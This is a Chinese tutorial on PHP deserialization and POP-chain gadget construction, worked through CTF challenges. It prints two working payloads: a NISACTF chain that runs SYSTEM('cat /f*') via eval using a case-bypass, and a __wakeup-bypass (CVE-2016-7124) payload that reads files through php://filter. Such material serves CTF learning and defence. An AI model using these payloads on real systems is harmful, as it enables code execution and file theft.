文章作者Hardlic,本文属i春秋原创奖励计划,未经许可禁止转载。原文地址:https://bbs.ichunqiu.com/thread-63347-1-1.html

基础知识

serialize序列化:把对象转化成字符串
unserialize反序列化:把字符串转换成对象,也就是还原成本身的样子
为什么会出现序列化和反序列化:为了实现数据的跨平台传输,解决在不同机器之间传输复杂数据的机制
为了使各位师傅更容易理解反序列化的过程,我举以下几个例子
当序列化的对象是Int类型:

<?php
$a= 100;
echo serialize($a);  //i:100; i代表的是Int
?>

当序列化的对象是String类型:

<?php//
$a="It is a string!";
echo serialize($a);  //s:14:"It is a string!";S代表的Stirng
?>

当序列化的对象是数组:

<?php
$a2=array("a"=>1,"b"=>2,"c"=>3);
echo serialize($a);  //a:3:{s:1:"a";i:1;s:1:"b";i:2;s:1:"c";i:3;}
?>

此外还有Boolean 以及Null ,他(们分别用b:*;和N;来表示)

当我们在对一个类进行序列化时首先得存在这个类的定义,如果序列化一个空对象那么就会返回N;如果序列化一个已经定义好的类的对象,那么就会返回这个对象所包含的所有变量值字符串
序列化与反序列化无非就是一个还原和被还原的一个过程,当序列化时往往会自动伴随着初始化,也就是所谓的构造函数construct,它会自动触发,这并不是说会自动输出(往往刚学php的新手会认为是自动输出),而是给相应的变量赋值等等
并且在结束时会通过析构函数destruct进行销毁,也会触发写在其中的函数,往往题目中会通过多个类反序列化构造反序列化链来要求选手进行poc构造后以序列化输出的方式填入相应的请求来达到命令执行或命令读取等获取flag的方式

以下边题目的poc为例子
<?php
# error_reporting(0);
class Index{
    public $class="world";
    public $func_name;
    public function __construct(){
        echo "想要flag?那就用GET传个wuhu给我吧";
        $this->func_name = "hello";
    }
}
$a=new index();
echo serialize($a);
?>
执行后:
"想要flag?那就用GET传个wuhu给我吧";
O:5:"Index":2:{s:5:"class";s:5:"world";s:9:"func_name";s:5:"hello";}
我们大致可以分成三段来看
O:5:"Index":2:  //对象名长度四个字符里面有两个对象成员
s:5:"class";    //对象成员名是class,长度是5
s:5:"world";    //对象成员class的值长度是5值为world
另一半也是一样的

Gadget构造

gadget构造:由不同小组件(类、函数、变量)组成的可用攻击链(大致可分为ROP和POP)
反序列化中的gadget构造:寻找php应用中的类、函数、变量构造一个完整攻击以在反序列化过程中实现攻击效果,简单来说就是找寻可用的pop(面向属性编程)反序化链
pop链构造顺序:首先找到反序列化的起点和终点,进行顺逆推构造出完整的pop链

常见反序列化魔术方法

我们先来了解一些接下去可能会遇到的一些魔术方法,留作备用,等会如果下面例题不理解可以爬上来看看

_construct()   //对象创建时自动调用对象构造器
_destruct()    //对象被销毁时触发对象销毁(析构)器
_wakeup()      //使用unserialize时触发
_sleep()       //使用serialize时触发
_call()        //在对象上下文中调用不可访问的方法时触发
_callStatic()  //在静态上下文中调用不可问的方法时触发
_get()         //用于从不可访问的属性读取数据
_set()         //用于将数据写入不可访问的属性
_isset()       //在不可访问的属性上调用isset()或empt()触发
_unset()       //在不可访问的属性上使用unset()时触发
_toString()    //把类当作字符串使用时触发
_invoke()      / /当脚本尝试将对象调用为函数

常规执行顺序

在一个对象被创建时,不考虑其他一些七七八八的往往会执行四个步骤,顺序如下

__construct()

__sleep()
__wakeup()

__destruct()

基础例题

以下是作者在入门时所遇例题,希望能帮助各位web师傅理解反序列化的过程

easy_serialize()

出题人:Xpr0adic
解题准备:复制到本地解题可以采取在本地新建一个serflag.php和hisnt.php并在hint.php中写入flag存在的文件名,本题flag所在位置是serflag.php

<?php
# error_reporting(0);

class Index{
    public $class;
    public $swi;
    public $func_name;

    public function __wakeup(){
        echo "Hello! maybe you need flag?(hint.php)";
        return ;
    }
    public function __construct(){
        echo "想要flag?那就用GET传个wuhu给我吧";
        $this->func_name = "phpinfo";
    }
    public function __get($name){
        $name = $this->func_name;
    return $name();
    }
    public function __destruct(){
        if ($this->swi === "add") {
        $add = $this->class->xixi;
        }
        else{
            $add = $this->class;
        }
        return $add;
        }
    }

class Read{
    public $file_name = "./hint.php";
    public function __construct($name){
        $this->file_name = $name;
        }
    public function flag(){
        $data = base64_encode(file_get_contents($this->file_name));
        return $data;
    }
    public function __invoke(){
        $data = $this->flag($this->file_name);
        echo $data;
        return ;
    }
}

if (isset($_GET['wuhu'])){
    highlight_file(__FILE__);
    unserialize($_GET['wuhu']);
    }
else{
    $haha = new Index();
}

分析

1682337950013-5f89d59d-26d1-40db-adaf-a8a72772ab67.png
先简单传一个?wuhu=1我们便得到了源码,接下来开始代码审计
1682338009184-dd61f7f1-87ed-485f-9f29-757eddea99e5.png
一眼往下来是不是觉得很长?其实还好拉,我们可以看见上面有两个类 一个Index类 一个Read类
我们先来说index类,它具有三个公用属性分别是classswifunc_name,它还具有四个魔术方法,逐一看过去发现他提示我们看看hint.php,直接在路径上访问就得到了这样我们就知道了flag的路径
1682339080513-414229ed-c7fb-4ab7-817e-5bb1085c4768.png
我们接着看,__construct函数中的$this->func_name和__get函数中的是一样的,也就是说这里的__get函数内的参数可控,还剩一个destruct函数,我们只要满足$swi为add就可以执行以下的命令,翻看上下文,没有出现过任何有关于xixi的线索,那这里我们先放着,接着往下看read类有一个filename属性,然后再往后有一个flag普通函数,看起来是文件读取函数,这里有可能是结尾,然后还有一个invoke函数会调用flag函数,分析到这里差不多了我们现在的目标很明确就是要触发invoke读取flag文件

exp

考点:get+invoke的组合来触发invoke函数
首先传入一个wuhu并进行反序列化,先找起点和终点,终点很明显是Read中的invoke方法,先将要读取的文件换成serflag.php可是我们要怎么触发这个_invoke呢,答案是通过利用这个construct函数令func_name为Read类,然后在_get方法中得到利用,这时我们应该找如何触发_get了,这题不太难只剩一个_destruct了,通过index类的_destruct的访问xixi这个不可访问的属性,至此一条完整的链已经出来了:payload如下

不给看!!!!!!

medium serialize(上一题的进化版本)

出题人:Xpr0adic

<?php

  # error_reporting(0);
  include "filter.php";

class Index{
  public $name;
  public function __construct(){
    echo "想要flag?那就用GET传个wuhu给我吧";
    return ;
  }
  public function _find(){
    $filename = $this->name;
    $find = new Find($filename);
    if ($find->find_file()) {
      echo "$this->name" . " found<br/>";
      $read = new Read($filename);
      echo $read->flag();
    }
    else{
      echo "$this->name" . " not found<br/>";
    }
    return ;
  }
  public function __wakeup(){
    echo "Find File",'<br/>';
    $this->_find();
    return ;
  }
}

class Read{
  public $file_name = "./hint.php";

  public function __construct($name){
    $this->file_name = $name;
  }
  public function flag(){
    $data = base64_encode(file_get_contents($this->file_name));
    return $data;
  }
  public function __invoke(){
    $data = $this->flag($this->file_name);
    echo $data;
    return ;
  }
}

class Find{
  public $name = "./hint.php";
  public $func_name = "_echo";

  public function __construct($name){
    $this->name = $name;
  }
  public function find_file(){
    $filename = $this->name;
    include "filter.php";
    if (preg_match($filter, $filename)){
      echo "no hack";
      exit();
    }
    if (file_exists($filename)){
      return 1;
    }
  }
  public function _echo(){
    echo "接下来呢?";
  }
  public function __tostring(){
    $func = $this->func_name;
    $func();
    return "<br/>";
  }
}

if (isset($_GET['wuhu'])){
  if (preg_match($filter, $_GET['wuhu'])){
    echo "no hack";
    exit();
  }
  highlight_file(__FILE__);
  unserialize($_GET['wuhu']);
}
elseif (isset($_POST['read'])){
  if (preg_match($filter, $_POST['read'])){
    echo "no hack";
    exit();
  }
  highlight_file(__FILE__);
  if (isset($_GET['data']) && $_GET['data'] === 'base64') {
    $data = base64_decode($_POST['read']);
    unserialize($data);
    exit();
  }
  unserialize($_POST['read']);
}
else{
  $haha = new Index();
}

分析

怎么样是不是看起来复杂了很多,我们先看主函数,主函数可接收的参数很多,仔细观察可以发现只有经过base64后的反序列化数据才不受filter的影响,所以这次我们传入base64加密后的read并令data=base64传入就可以通过read作为入口点,这回有三个类,我们发现其实当创建Index类对象时便会通过序列化函数自动触发_wakeup()并触发__find,接着便通过创建一个单参创建Find类的方式来找到这个文件,我们可以看见这个文件的地方也已经被waf拦住了,注意到Find类中有一个tostring魔术方法,且恰巧在Index类中出现了输出$this->name变量(不清楚tostring魔术方法的师傅可以翻上去理解一下),这时候只要令$this->name=new Find(),就可以触发tostring,然后再给func_name赋值为read类便可以实现任意文件读取了

exp

不给看!!!!
1663586514449-5c976b36-4c6b-4a2c-be50-fec3bfa9f88c.png

NISACTF2022

出题人:未知

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }
    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun =="sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

这个师傅的本意本来是想考底下的strtolower方法能调用tostring魔术方法的,但是在php中弱等于会使类型发生转换调用到tostring(),出现了非预期解,题目中的waf只过滤了小写,于是直接大小写绕过了,这题不是很难直接上exp了,相信如果有认真写前两题的师傅好好琢磨两下应该就出来了,点到为止

exp

class NISA{     
  public $txw4ever='SYSTEM("cat /f*");'; 
}
class Ilovetxw{
} 
$a = new NISA(); 
$a->fun = new Ilovetxw();
$a->fun->su = $a; 
$a = serialize($a); 
echo $a;

easy_unser(题目看起来很长,其实探姬很短(bushi

  • 考点:反序列化基础 weakup php特性
<?php 
    include 'f14g.php';
    error_reporting(0);

    highlight_file(__FILE__);

    class body{

    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want){
        $About_me = "When the object is created,I will be called";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";
        
    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    }
}

    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
        function __sleep(){
            $About_me = "When the object is serialized,I will be called";
            echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
        }
        function __toString(){
            $About_me = "When the object is used as a string,I will be called";
            return $this->CORE;
        }
    }
    
    $obj = new unserializeorder();
    echo $obj;
    $obj = serialize($obj);
    

    if (isset($_GET['ywant']))
    {
        $ywant = @unserialize(@$_GET['ywant']);
        echo $ywant;
    }
?> 

Exp

首先是__wakeup()魔术方法绕过(CVE-2016-7124),令成员数 大于1;
__wakeup()魔术方法绕过(CVE-2016-7124):
:::info
一个字符串或对象被序列化后,如果其属性被修改,就不会执行__wakeup()函数,也就是说只要改变属性中的数量值使其大于原本的值就绕过了(漏洞影响版本是 php5 < 5.6.25 php7 < 7.0.10)
:::
然后就是注意一下私有变量的序列化,结果为:%00类名%00变量名
还有一个php特性的考点是is_file不将伪协议当作文件,但highlight_file认为伪协议可以是文件

<?php class body
{
    private $want;
      private $todonothing = "juejuetanji";
    public function  __construct($want)
    {
        $this->want = $want;
    }
}
$obj = new body("php://filter/resource=f14g.php");      
#php://filter/convert.base64-encode/resource=flag.php     echo serialize($obj); 
?> 

payload:

?ywant=O:4:"body":2:{s:10:"%00body%00want";s:30:"php://filter/resource=f14g.php";s:17:"%00body%00todonothing";s:11:"juejuetanji";}

尾声

到这里PHP反序列化由浅入深(一)就差不多结束了,以上是反序列化的一些基础用法,如果师傅们还想
进一步深入了解反序列化在ctf中以及实战中的入用法,如session反序列化 phar反序列化等敬请关注反序列化由浅入深(二)